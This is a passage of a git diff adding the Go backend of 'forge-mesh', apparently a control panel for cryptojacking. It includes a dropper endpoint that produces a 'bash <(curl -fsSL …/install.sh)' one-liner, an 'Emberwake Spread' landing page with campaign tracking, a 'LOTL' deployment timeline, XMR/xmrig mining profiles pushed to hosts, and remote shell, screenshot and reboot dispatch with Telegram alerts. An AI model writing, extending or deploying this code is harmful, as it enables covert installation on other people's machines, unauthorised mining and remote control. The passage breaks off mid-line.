for AetherForge Linux. + +## Backend (Go) + +From the repository root: + +```bash +make test +# or +go test ./... +``` + +## Frontend (React / Vitest) + +The Command Deck lives in `web/`. Tests use **Vitest**, **Testing Library**, **jsdom**, and **MSW** (Mock Service Worker) for HTTP mocks. + +### Prerequisites + +```bash +cd web +npm install +``` + +### Scripts + +| Command | Description | +|---------|-------------| +| `npm run test` | Run all frontend tests once | +| `npm run test:watch` | Watch mode | +| `npm run test:coverage` | Run with V8 coverage report | + +From the repo root: + +```bash +./scripts/test-frontend.sh +# or +make test-frontend +``` + +### Configuration + +- **`web/vitest.config.ts`** — merges Vite config with Vitest (`jsdom`, `@/` alias, coverage) +- **`web/src/test/setupTests.ts`** — MSW server lifecycle, RTL cleanup, session reset +- **`web/src/test/mocks/handlers.ts`** — REST handlers for fleet, WS ticket, calibrate, crucible +- **`web/src/test/test-utils.tsx`** — `renderWithProviders()` with MemoryRouter + auth +- **`web/src/test/mockWebSocket.ts`** — WebSocket mock for fleet heartbeat tests +- **`web/src/test/mockEventSource.ts`** — EventSource mock for Seer SSE tests + +### Test layout + +Tests are colocated with source files: + +``` +web/src/ + App.test.tsx + pages/*.test.tsx + hooks/*.test.ts + components/**/*.test.tsx + lib/*.test.ts +``` + +### What is covered + +| Area | Tests | +|------|-------| +| **Login gate** | `ProtectedRoute`, `App` redirect unauthenticated users | +| **Dashboard** | Host cards from mock `/api/v1/fleet`, WS connection badge | +| **WebSocket hook** | `useFleetWebSocket` receives heartbeat frames | +| **Auth/session** | `sessionStorage` credentials, Basic header | +| **Routes** | Login, Dashboard, Forge, Calibrate, Crucible, Seer render without crash | +| **Calibrate** | Mining profile form POSTs to fleet API | +| **Crucible** | Terminal dispatch sends batch command | +| **Seer** | SSE connect button, live status, message ingestion | +| **Components** | HostCard, Badge variants, hashrate formatting | + +### Writing new tests + +1. Add MSW handlers in `src/test/mocks/handlers.ts` for new API endpoints. +2. Use `renderWithProviders(, { authenticated: true })` for protected views. +3. Call `installMockWebSocket()` / `installMockEventSource()` when testing realtime features. +4. Place new tests beside the module: `MyComponent.test.tsx`. + +### Troubleshooting + +- **Unhandled MSW request** — add a handler or use `server.use()` in the test. +- **WebSocket flakiness** — use `waitFor` after `MockWebSocket.latest()?.simulateMessage(...)`. +- **Auth redirects** — pass `authenticated: false` to `renderWithProviders` or clear `sessionStorage`. diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..eb598e6 --- /dev/null +++ b/go.mod @@ -0,0 +1,15 @@ +module forge-mesh + +go 1.22 + +require ( + github.com/google/uuid v1.6.0 + github.com/gorilla/websocket v1.5.3 + github.com/klauspost/reedsolomon v1.12.4 + github.com/mattn/go-sqlite3 v1.14.24 +) + +require ( + github.com/klauspost/cpuid/v2 v2.2.8 // indirect + golang.org/x/sys v0.24.0 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..3809c0e --- /dev/null +++ b/go.sum @@ -0,0 +1,13 @@ +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= +github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= +github.com/klauspost/cpuid/v2 v2.2.8 h1:+StwCXwm9PdpiEkPyzBXIy+M9KUb4ODm0Zarf1kS5BM= +github.com/klauspost/cpuid/v2 v2.2.8/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= +github.com/klauspost/reedsolomon v1.12.4 h1:5aDr3ZGoJbgu/8+j45KtUJxzYm8k08JGtB9Wx1VQ4OA= +github.com/klauspost/reedsolomon v1.12.4/go.mod h1:d3CzOMOt0JXGIFZm1StgkyF14EYr3xneR2rNWo7NcMU= +github.com/mattn/go-sqlite3 v1.14.24 h1:tpSp2G2KyMnnQu99ngJ47EIkWVmliIizyZBfPrBWDRM= +github.com/mattn/go-sqlite3 v1.14.24/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg= +golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= diff --git a/internal/alerts/telegram.go b/internal/alerts/telegram.go new file mode 100644 index 0000000..39fa567 --- /dev/null +++ b/internal/alerts/telegram.go @@ -0,0 +1,98 @@ +package alerts + +import ( + "bytes" + "encoding/json" + "fmt" + "log" + "net/http" + "sync" + "time" +) + +// Config holds Telegram bot settings from config.json. +type Config struct { + Enabled bool `json:"enabled"` + BotToken string `json:"bot_token"` + ChatID string `json:"chat_id"` +} + +// Notifier sends operator alerts via Telegram Bot API. +type Notifier struct { + cfg Config + client *http.Client + mu sync.Mutex + last time.Time +} + +func New(cfg Config) *Notifier { + return &Notifier{ + cfg: cfg, + client: &http.Client{ + Timeout: 10 * time.Second, + }, + } +} + +// Enabled reports whether Telegram alerts are configured. +func (n *Notifier) Enabled() bool { + return n != nil && n.cfg.Enabled && n.cfg.BotToken != "" && n.cfg.ChatID != "" +} + +// Send posts a message to the configured chat (best-effort, non-blocking caller). +func (n *Notifier) Send(text string) { + if !n.Enabled() { + return + } + + go func() { + if err := n.sendSync(text); err != nil { + log.Printf("telegram alert: %v", err) + } + }() +} + +func (n *Notifier) sendSync(text string) error { + n.mu.Lock() + if time.Since(n.last) < 500*time.Millisecond { + n.mu.Unlock() + time.Sleep(500 * time.Millisecond) + n.mu.Lock() + } + n.last = time.Now() + n.mu.Unlock() + + url := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", n.cfg.BotToken) + body, _ := json.Marshal(map[string]string{ + "chat_id": n.cfg.ChatID, + "text": text, + "parse_mode": "Markdown", + }) + + req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(body)) + if err != nil { + return err + } + req.Header.Set("Content-Type", "application/json") + + resp, err := n.client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + + if resp.StatusCode >= 300 { + return fmt.Errorf("telegram API status %d", resp.StatusCode) + } + return nil +} + +// FleetEvent formats a fleet alert message. +func FleetEvent(action, hostID, detail string) string { + return fmt.Sprintf("🔧 *forge-mesh* · `%s`\nhost: `%s`\n%s", action, hostID, detail) +} + +// CrucibleEvent formats a batch terminal alert. +func CrucibleEvent(jobID string, hostCount int, cmd string) string { + return fmt.Sprintf("⚗️ *crucible batch* · `%s`\nhosts: %d\ncmd: `%s`", jobID, hostCount, cmd) +} diff --git a/internal/api/handlers/auth.go b/internal/api/handlers/auth.go new file mode 100644 index 0000000..fbc3a1c --- /dev/null +++ b/internal/api/handlers/auth.go @@ -0,0 +1,28 @@ +package handlers + +import ( + "encoding/json" + "net/http" + + "forge-mesh/internal/auth" +) + +// AuthHandlers serves login and WS ticket endpoints. +type AuthHandlers struct { + Tickets *auth.TicketStore +} + +func (h *AuthHandlers) WSTicket(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + http.Error(w, "method not allowed", http.StatusMethodNotAllowed) + return + } + + ticket, err := h.Tickets.Issue() + if err != nil { + http.Error(w, "ticket error", http.StatusInternalServerError) + return + } + w.Header().Set("Content-Type", "application/json") + _ = json.NewEncoder(w).Encode(map[string]string{"ticket": ticket}) +} diff --git a/internal/api/handlers/crucible.go b/internal/api/handlers/crucible.go new file mode 100644 index 0000000..4925990 --- /dev/null +++ b/internal/api/handlers/crucible.go @@ -0,0 +1,136 @@ +package handlers + +import ( + "encoding/json" + "fmt" + "net/http" + "strings" + + "forge-mesh/internal/alerts" + "forge-mesh/internal/auth" + "forge-mesh/internal/fleet" +) + +// CrucibleHandler serves batch terminal endpoints. +type CrucibleHandler struct { + Store *fleet.Store + Hub *fleet.Hub + Crucible *fleet.CrucibleStore + Alerts *alerts.Notifier + OperatorClearance int +} + +type batchRequest struct { + Command string `json:"command"` + HostIDs []string `json:"host_ids"` + All bool `json:"all"` +} + +func (h *CrucibleHandler) Dispatch(w http.ResponseWriter, r *http.Request) { + if err := fleet.CheckAction(h.OperatorClearance, fleet.ActionCrucible); err != nil { + auth.JSON(w, http.StatusForbidden, map[string]any{"error": err.Error()}) + return + } + + var req batchRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "bad request", http.StatusBadRequest) + return + } + req.Command = strings.TrimSpace(req.Command) + if req.Command == "" { + http.Error(w, "command required", http.StatusBadRequest) + return + } + + hostIDs := req.HostIDs + if req.All || len(hostIDs) == 0 { + hosts, err := h.Store.ListHosts() + if err != nil { + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + for _, host := range hosts { + if host.Status == "online" || host.Status == "mining" { + hostIDs = append(hostIDs, host.ID) + } + } + } + + job := h.Crucible.Create(req.Command, hostIDs) + action := mapCommandToAction(req.Command) + + for _, hostID := range hostIDs { + host, _ := h.Store.GetHost(hostID) + hostname := hostID + if host != nil { + hostname = host.Hostname + } + + if err := fleet.CheckAction(h.OperatorClearance, action); err != nil { + h.Crucible.AddResult(job.ID, fleet.BatchResult{ + HostID: hostID, Hostname: hostname, + Status: "denied", Message: err.Error(), + }) + continue + } + + cmd, err := h.Hub.DispatchCommand(hostID, action, map[string]any{"raw": req.Command}) + if err != nil { + h.Crucible.AddResult(job.ID, fleet.BatchResult{ + HostID: hostID, Hostname: hostname, + Status: "error", Message: err.Error(), + }) + continue + } + + h.Crucible.AddResult(job.ID, fleet.BatchResult{ + HostID: hostID, Hostname: hostname, + Status: "dispatched", CommandID: cmd.ID, + }) + } + + h.Crucible.Complete(job.ID, "completed") + + if h.Alerts != nil && h.Alerts.Enabled() { + h.Alerts.Send(alerts.CrucibleEvent(job.ID, len(hostIDs), req.Command)) + } + + _ = h.Store.InsertSeerEvent("", "crucible", fmt.Sprintf(`{"job_id":"%s","command":%q}`, job.ID, req.Command)) + + auth.JSON(w, http.StatusOK, job) +} + +func (h *CrucibleHandler) GetJob(w http.ResponseWriter, r *http.Request) { + id := r.PathValue("id") + job, ok := h.Crucible.Get(id) + if !ok { + http.Error(w, "not found", http.StatusNotFound) + return + } + auth.JSON(w, http.StatusOK, job) +} + +func (h *CrucibleHandler) History(w http.ResponseWriter, r *http.Request) { + auth.JSON(w, http.StatusOK, map[string]any{ + "jobs": h.Crucible.History(20), + }) +} + +func mapCommandToAction(cmd string) string { + lower := strings.ToLower(strings.TrimSpace(cmd)) + switch { + case strings.HasPrefix(lower, "pause"): + return fleet.ActionPause + case strings.HasPrefix(lower, "resume"): + return fleet.ActionResume + case strings.HasPrefix(lower, "reboot"): + return fleet.ActionReboot + case strings.HasPrefix(lower, "screenshot"): + return fleet.ActionScreenshot + case strings.HasPrefix(lower, "shell"): + return fleet.ActionShell + default: + return fleet.ActionStatus + } +} diff --git a/internal/api/handlers/dropper.go b/internal/api/handlers/dropper.go new file mode 100644 index 0000000..518301c --- /dev/null +++ b/internal/api/handlers/dropper.go @@ -0,0 +1,62 @@ +package handlers + +import ( + "database/sql" + "fmt" + "net/http" + + "forge-mesh/internal/auth" + "forge-mesh/internal/forge" +) + +// DropperHandler serves the dropper URL and one-liner info to the operator. +type DropperHandler struct { + DB *sql.DB + PublicKeyHex string + FleetSecret string + Version string +} + +type DropperInfo struct { + DropperURL string `json:"dropper_url"` + InstallURL string `json:"install_url"` + OneLiner string `json:"one_liner"` + FleetSecret string `json:"fleet_secret"` + PublicKey string `json:"public_key"` + HasBuild bool `json:"has_build"` + Version string `json:"version"` +} + +func deckURL(r *http.Request) string { + scheme := "http" + if r.TLS != nil || r.Header.Get("X-Forwarded-Proto") == "https" { + scheme = "https" + } + return fmt.Sprintf("%s://%s", scheme, r.Host) +} + +// Info handles GET /api/v1/dropper — returns dropper link, one-liner, and build status. +func (h *DropperHandler) Info(w http.ResponseWriter, r *http.Request) { + base := deckURL(r) + installURL := base + "/install.sh" + dropperURL := base + "/get" + + oneLiner := fmt.Sprintf( + "FORGE_MESH_FLEET_SECRET=%s bash <(curl -fsSL %s)", + h.FleetSecret, installURL, + ) + + // Check whether a public build exists so the UI can warn if not. + _, err := forge.LatestPublic(h.DB, "linux", "amd64") + hasBuild := err == nil + + auth.JSON(w, http.StatusOK, DropperInfo{ + DropperURL: dropperURL, + InstallURL: installURL, + OneLiner: oneLiner, + FleetSecret: h.FleetSecret, + PublicKey: h.PublicKeyHex, + HasBuild: hasBuild, + Version: h.Version, + }) +} diff --git a/internal/api/handlers/extended.go b/internal/api/handlers/extended.go new file mode 100644 index 0000000..596a8ce --- /dev/null +++ b/internal/api/handlers/extended.go @@ -0,0 +1,532 @@ +package handlers + +import ( + "context" + "database/sql" + "encoding/json" + "fmt" + "net/http" + "strings" + "time" + + "forge-mesh/internal/api/types" + "forge-mesh/internal/auth" + "forge-mesh/internal/config" + "forge-mesh/internal/erasure" + "forge-mesh/internal/fleet" + "forge-mesh/internal/policy" + + "github.com/google/uuid" +) + +// ErasureHandler serves public erasure shard endpoints. +type ErasureHandler struct { + Service *erasure.Service +} + +func (h *ErasureHandler) GetBundle(w http.ResponseWriter, r *http.Request) { + bundleID := r.PathValue("bundle_id") + if bundleID == "" { + http.Error(w, "bundle_id required", http.StatusBadRequest) + return + } + bundle, err := h.Service.GetBundle(r.Context(), bundleID) + if err != nil { + if err == sql.ErrNoRows { + http.Error(w, "not found", http.StatusNotFound) + return + } + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + indices, _ := h.Service.ListShards(r.Context(), bundleID) + auth.JSON(w, http.StatusOK, map[string]any{ + "bundle": bundle, + "shards": indices, + }) +} + +func (h *ErasureHandler) GetShard(w http.ResponseWriter, r *http.Request) { + bundleID := r.PathValue("bundle_id") + indexStr := r.PathValue("index") + if bundleID == "" || indexStr == "" { + http.Error(w, "bundle_id and index required", http.StatusBadRequest) + return + } + var index int + if _, err := fmt.Sscanf(indexStr, "%d", &index); err != nil { + http.Error(w, "invalid shard index", http.StatusBadRequest) + return + } + shard, err := h.Service.GetShard(r.Context(), bundleID, index) + if err != nil { + if err == sql.ErrNoRows { + http.Error(w, "not found", http.StatusNotFound) + return + } + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + auth.JSON(w, http.StatusOK, map[string]any{ + "bundle_id": shard.BundleID, + "shard_index": shard.ShardIndex, + "hex": shard.Hex, + }) +} + +// PolicySnapshotHandler serves degraded-agent policy snapshots. +type PolicySnapshotHandler struct { + DB *sql.DB +} + +// Create handles POST /api/v1/policy/snapshot (protected). +func (h *PolicySnapshotHandler) Create(w http.ResponseWriter, r *http.Request) { + policy := map[string]any{ + "wallet_policy": map[string]string{"currency": "XMR"}, + "policy_from_server": true, + "version": "1", + } + raw, _ := json.Marshal(policy) + token := uuid.NewString() + if err := SeedPolicySnapshot(r.Context(), h.DB, token, string(raw)); err != nil { + http.Error(w, "snapshot failed", http.StatusInternalServerError) + return + } + auth.JSON(w, http.StatusOK, map[string]any{ + "token": token, + "url": "/api/v1/public/policy-snapshot/" + token, + }) +} + +func (h *PolicySnapshotHandler) Get(w http.ResponseWriter, r *http.Request) { + token := r.PathValue("token") + if token == "" { + http.Error(w, "token required", http.StatusBadRequest) + return + } + var policyJSON string + var expires sql.NullString + err := h.DB.QueryRowContext(r.Context(), ` + SELECT policy_json, expires_at FROM policy_snapshots WHERE token = ?`, token). + Scan(&policyJSON, &expires) + if err != nil { + if err == sql.ErrNoRows { + http.Error(w, "not found", http.StatusNotFound) + return + } + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + if expires.Valid && expires.String != "" { + if t, err := time.Parse("2006-01-02 15:04:05", expires.String); err == nil && time.Now().After(t) { + http.Error(w, "expired", http.StatusGone) + return + } + } + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusOK) + w.Write([]byte(policyJSON)) +} + +// TrackCampaign handles GET /api/v1/public/campaign/track?c=CODE. +func TrackCampaign(db *sql.DB) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + code := r.URL.Query().Get("c") + if code == "" { + http.Error(w, "c required", http.StatusBadRequest) + return + } + trackCampaignHeat(r.Context(), db, code) + auth.JSON(w, http.StatusOK, map[string]any{"code": code, "tracked": true}) + } +} + +// SpreadLander serves the Emberwake public funnel page with ?c= heat tracking. +func SpreadLander(db *sql.DB) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + campaign := r.URL.Query().Get("c") + if campaign != "" { + trackCampaignHeat(r.Context(), db, campaign) + } + w.Header().Set("Content-Type", "text/html; charset=utf-8") + install := "/install.sh" + if campaign != "" { + install += "?c=" + campaign + } + fmt.Fprintf(w, `Forge Mesh Spread + +

Emberwake Spread

Campaign: %s

+

Summon enrolled agent

`, campaign, install) + } +} + +func trackCampaignHeat(ctx context.Context, db *sql.DB, code string) { + if db == nil || code == "" { + return + } + var id string + err := db.QueryRowContext(ctx, `SELECT id FROM campaigns WHERE code = ?`, code).Scan(&id) + if err == sql.ErrNoRows { + _, _ = db.ExecContext(ctx, `INSERT INTO campaigns (id, code, name, heat) VALUES (?, ?, ?, 1)`, + uuid.NewString(), code, code) + return + } + if err == nil { + _, _ = db.ExecContext(ctx, `UPDATE campaigns SET heat = heat + 1 WHERE id = ?`, id) + } +} + +// WarRoomHandler serves campaign heat dashboards. +type WarRoomHandler struct { + DB *sql.DB +} + +func (h *WarRoomHandler) ListCampaigns(w http.ResponseWriter, r *http.Request) { + rows, err := h.DB.QueryContext(r.Context(), ` + SELECT id, code, name, COALESCE(pin,''), heat, created_at + FROM campaigns ORDER BY heat DESC, created_at DESC LIMIT 100`) + if err != nil { + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + defer rows.Close() + + var campaigns []types.Campaign + for rows.Next() { + var c types.Campaign + var created string + if err := rows.Scan(&c.ID, &c.Code, &c.Name, &c.Pin, &c.Heat, &created); err != nil { + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + c.CreatedAt, _ = time.Parse("2006-01-02 15:04:05", created) + campaigns = append(campaigns, c) + } + if campaigns == nil { + campaigns = []types.Campaign{} + } + auth.JSON(w, http.StatusOK, map[string]any{"campaigns": campaigns}) +} + +// WireGuardHandler manages mesh peer records (operator-managed configs). +type WireGuardHandler struct { + DB *sql.DB +} + +func (h *WireGuardHandler) ListPeers(w http.ResponseWriter, r *http.Request) { + rows, err := h.DB.QueryContext(r.Context(), ` + SELECT id, COALESCE(host_id,''), public_key, COALESCE(endpoint,''), allowed_ips, created_at + FROM wireguard_peers ORDER BY created_at DESC LIMIT 100`) + if err != nil { + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + defer rows.Close() + + type peer struct { + ID string `json:"id"` + HostID string `json:"host_id,omitempty"` + PublicKey string `json:"public_key"` + Endpoint string `json:"endpoint,omitempty"` + AllowedIPs string `json:"allowed_ips"` + CreatedAt string `json:"created_at"` + } + var peers []peer + for rows.Next() { + var p peer + if err := rows.Scan(&p.ID, &p.HostID, &p.PublicKey, &p.Endpoint, &p.AllowedIPs, &p.CreatedAt); err != nil { + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + peers = append(peers, p) + } + if peers == nil { + peers = []peer{} + } + auth.JSON(w, http.StatusOK, map[string]any{"peers": peers}) +} + +func (h *WireGuardHandler) CreatePeer(w http.ResponseWriter, r *http.Request) { + var req struct { + HostID string `json:"host_id"` + PublicKey string `json:"public_key"` + Endpoint string `json:"endpoint"` + AllowedIPs string `json:"allowed_ips"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "bad request", http.StatusBadRequest) + return + } + if req.PublicKey == "" { + http.Error(w, "public_key required", http.StatusBadRequest) + return + } + if req.AllowedIPs == "" { + req.AllowedIPs = "10.66.66.2/32" + } + id := uuid.NewString() + _, err := h.DB.ExecContext(r.Context(), ` + INSERT INTO wireguard_peers (id, host_id, public_key, endpoint, allowed_ips) + VALUES (?, ?, ?, ?, ?)`, + id, nullIfEmpty(req.HostID), req.PublicKey, nullIfEmpty(req.Endpoint), req.AllowedIPs) + if err != nil { + http.Error(w, "create failed", http.StatusInternalServerError) + return + } + auth.JSON(w, http.StatusCreated, map[string]any{ + "id": id, + "host_id": req.HostID, + "public_key": req.PublicKey, + "endpoint": req.Endpoint, + "allowed_ips": req.AllowedIPs, + }) +} + +// RenderConfig handles GET /api/v1/wireguard/config — wg-quick template for operators. +func (h *WireGuardHandler) RenderConfig(w http.ResponseWriter, r *http.Request) { + rows, err := h.DB.QueryContext(r.Context(), ` + SELECT public_key, COALESCE(endpoint,''), allowed_ips FROM wireguard_peers ORDER BY created_at`) + if err != nil { + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + defer rows.Close() + + var buf strings.Builder + buf.WriteString("[Interface]\nPrivateKey = \nAddress = 10.66.66.1/24\nListenPort = 51820\n\n") + for rows.Next() { + var pub, endpoint, allowed string + if err := rows.Scan(&pub, &endpoint, &allowed); err != nil { + continue + } + buf.WriteString("[Peer]\n") + fmt.Fprintf(&buf, "PublicKey = %s\n", pub) + if endpoint != "" { + fmt.Fprintf(&buf, "Endpoint = %s\n", endpoint) + } + fmt.Fprintf(&buf, "AllowedIPs = %s\n\n", allowed) + } + w.Header().Set("Content-Type", "text/plain; charset=utf-8") + _, _ = w.Write([]byte(buf.String())) +} + +func nullIfEmpty(s string) sql.NullString { + if s == "" { + return sql.NullString{} + } + return sql.NullString{String: s, Valid: true} +} + +// LOTLTimeline returns deploy audit entries for a host. +func (h *FleetHandler) LOTLTimeline(w http.ResponseWriter, r *http.Request) { + hostID := r.PathValue("id") + if hostID == "" { + http.Error(w, "host id required", http.StatusBadRequest) + return + } + attempts, err := h.Store.ListLOTL(r.Context(), hostID, 100) + if err != nil { + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + auth.JSON(w, http.StatusOK, map[string]any{ + "host_id": hostID, + "timeline": attempts, + }) +} + +// PushMiningProfile assigns a mining profile to a host. +func (h *FleetHandler) PushMiningProfile(w http.ResponseWriter, r *http.Request) { + hostID := r.PathValue("id") + if hostID == "" { + http.Error(w, "host id required", http.StatusBadRequest) + return + } + + var req types.MiningProfileRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "bad request", http.StatusBadRequest) + return + } + if req.WalletAddress == "" { + http.Error(w, "wallet_address required", http.StatusBadRequest) + return + } + + profileID := req.ProfileID + if profileID == "" { + profileID = uuid.NewString() + } + name := req.Name + if name == "" { + name = "Fleet mining profile" + } + tiers := req.Tiers + if len(tiers) == 0 { + tiers = policy.DefaultMiningProfile(req.WalletAddress).Tiers + } + + profile := &types.MiningProfile{ + ID: profileID, + Name: name, + WalletAddress: req.WalletAddress, + Tiers: tiers, + PolicyFromServer: true, + CreatedAt: time.Now().UTC(), + UpdatedAt: time.Now().UTC(), + } + + ctx := r.Context() + if err := h.Store.SaveMiningProfile(ctx, profile); err != nil { + http.Error(w, "save profile failed", http.StatusInternalServerError) + return + } + if err := h.Store.AssignMiningProfile(ctx, hostID, profileID); err != nil { + http.Error(w, "assign profile failed", http.StatusNotFound) + return + } + _, _ = h.Hub.DispatchCommand(hostID, "mining_profile", map[string]any{"profile": profile}) + + auth.JSON(w, http.StatusOK, map[string]any{ + "ok": true, + "host_id": hostID, + "profile": profile, + }) +} + +// HostAction is an alias for fleet command dispatch (plan parity). +func (h *FleetHandler) HostAction(w http.ResponseWriter, r *http.Request) { + h.Command(w, r) +} + +// CalibrateProfiles returns default mining tier profiles. +func CalibrateProfiles(cfg *config.Config) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + auth.JSON(w, http.StatusOK, map[string]any{ + "profiles": []map[string]any{ + { + "id": "default-xmr", + "name": "Default XMR Chain", + "wallet_address": cfg.WalletPolicy.DefaultWallet, + "policy_from_server": true, + "tiers": []map[string]any{ + {"type": "oci", "duration_minutes": 5}, + {"type": "xmrig", "duration_minutes": 15}, + {"type": "gpu", "duration_minutes": 10}, + }, + }, + }, + }) + } +} + +// SeerAPIStream serves GET /api/v1/seer (plan parity alias). +func SeerAPIStream(store *fleet.Store, username, password string) http.HandlerFunc { + h := &SeerHandler{Store: store, Username: username, Password: password} + return h.Stream +} + +// SeedPolicySnapshot inserts a test policy snapshot token. +func SeedPolicySnapshot(ctx context.Context, db *sql.DB, token, policyJSON string) error { + _, err := db.ExecContext(ctx, ` + INSERT OR REPLACE INTO policy_snapshots (token, policy_json, expires_at) + VALUES (?, ?, datetime('now', '+1 day'))`, token, policyJSON) + return err +} + +// SeedCampaign inserts a war-room campaign row. +func SeedCampaign(ctx context.Context, db *sql.DB, code, name string, heat int) error { + _, err := db.ExecContext(ctx, ` + INSERT OR REPLACE INTO campaigns (id, code, name, heat) + VALUES (?, ?, ?, ?)`, uuid.NewString(), code, name, heat) + return err +} + +// PublicBuildsList lists public build metadata. +func PublicBuildsList(db *sql.DB) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + rows, err := db.QueryContext(r.Context(), ` + SELECT id, os, arch, version, checksum, public + FROM builds WHERE public = 1 ORDER BY created_at DESC LIMIT 20`) + if err != nil { + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + defer rows.Close() + + type row struct { + ID string `json:"id"` + OS string `json:"os"` + Arch string `json:"arch"` + Version string `json:"version"` + Checksum string `json:"checksum"` + Download string `json:"download_url"` + } + var builds []row + for rows.Next() { + var b row + var pub int + if err := rows.Scan(&b.ID, &b.OS, &b.Arch, &b.Version, &b.Checksum, &pub); err != nil { + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + b.Download = "/api/v1/public/download/" + b.ID + builds = append(builds, b) + } + if builds == nil { + builds = []row{} + } + auth.JSON(w, http.StatusOK, map[string]any{"builds": builds}) + } +} + +// CrucibleLegacy wraps CrucibleHandler for plan route names. +type CrucibleLegacy struct { + *CrucibleHandler +} + +func (c *CrucibleLegacy) Batch(w http.ResponseWriter, r *http.Request) { + c.Dispatch(w, r) +} + +func (c *CrucibleLegacy) BatchGet(w http.ResponseWriter, r *http.Request) { + id := r.PathValue("id") + if id == "" { + id = strings.TrimPrefix(r.URL.Path, "/api/v1/crucible/batch/") + } + if id == "" || strings.Contains(id, "/") { + http.Error(w, "batch id required", http.StatusBadRequest) + return + } + job, ok := c.Crucible.Get(id) + if !ok { + http.Error(w, "not found", http.StatusNotFound) + return + } + auth.JSON(w, http.StatusOK, job) +} + +func (c *CrucibleLegacy) Exec(w http.ResponseWriter, r *http.Request) { + if err := fleet.CheckAction(c.OperatorClearance, fleet.ActionShell); err != nil { + auth.JSON(w, http.StatusForbidden, map[string]any{"error": err.Error()}) + return + } + var req struct { + HostID string `json:"host_id"` + Command string `json:"command"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "bad request", http.StatusBadRequest) + return + } + if req.HostID == "" || req.Command == "" { + http.Error(w, "host_id and command required", http.StatusBadRequest) + return + } + cmd, err := c.Hub.DispatchCommand(req.HostID, fleet.ActionShell, map[string]any{"command": req.Command}) + sent := err == nil + auth.JSON(w, http.StatusOK, map[string]any{ + "ok": sent, "host_id": req.HostID, "command": req.Command, "dispatch": cmd, + }) +} diff --git a/internal/api/handlers/fleet.go b/internal/api/handlers/fleet.go new file mode 100644 index 0000000..e135ca9 --- /dev/null +++ b/internal/api/handlers/fleet.go @@ -0,0 +1,101 @@ +package handlers + +import ( + "encoding/json" + "fmt" + "net/http" + "strings" + + "forge-mesh/internal/alerts" + "forge-mesh/internal/auth" + "forge-mesh/internal/config" + "forge-mesh/internal/fleet" +) + +// FleetHandler serves fleet REST endpoints. +type FleetHandler struct { + Store *fleet.Store + Hub *fleet.Hub + Alerts *alerts.Notifier + Cfg *config.Config + OperatorClearance int +} + +func (h *FleetHandler) List(w http.ResponseWriter, r *http.Request) { + summary, err := h.Store.BuildFleetSummary() + if err != nil { + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + auth.JSON(w, http.StatusOK, summary) +} + +type registerRequest struct { + Hostname string `json:"hostname"` + Fingerprint string `json:"fingerprint"` + Arch string `json:"arch"` +} + +func (h *FleetHandler) Register(w http.ResponseWriter, r *http.Request) { + var req registerRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "bad request", http.StatusBadRequest) + return + } + if req.Hostname == "" { + req.Hostname = "enrolled-host" + } + + host, err := h.Store.TouchHost(req.Hostname, req.Fingerprint, req.Arch) + if err != nil { + http.Error(w, "register failed", http.StatusInternalServerError) + return + } + + auth.JSON(w, http.StatusOK, map[string]any{ + "ok": true, + "host_id": host.ID, + "host": fleet.ToFleetCard(host), + }) +} + +func (h *FleetHandler) Command(w http.ResponseWriter, r *http.Request) { + hostID := r.PathValue("id") + if hostID == "" { + http.Error(w, "host id required", http.StatusBadRequest) + return + } + + var req struct { + Action string `json:"action"` + Args map[string]any `json:"args"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "bad request", http.StatusBadRequest) + return + } + + action := strings.ToLower(req.Action) + if err := fleet.CheckAction(h.OperatorClearance, action); err != nil { + auth.JSON(w, http.StatusForbidden, map[string]any{ + "error": err.Error(), + "required_clearance": fleet.RequiredClearanceOrZero(action), + }) + return + } + + cmd, err := h.Hub.DispatchCommand(hostID, action, req.Args) + if err != nil { + http.Error(w, "dispatch failed", http.StatusInternalServerError) + return + } + + if h.Alerts != nil && 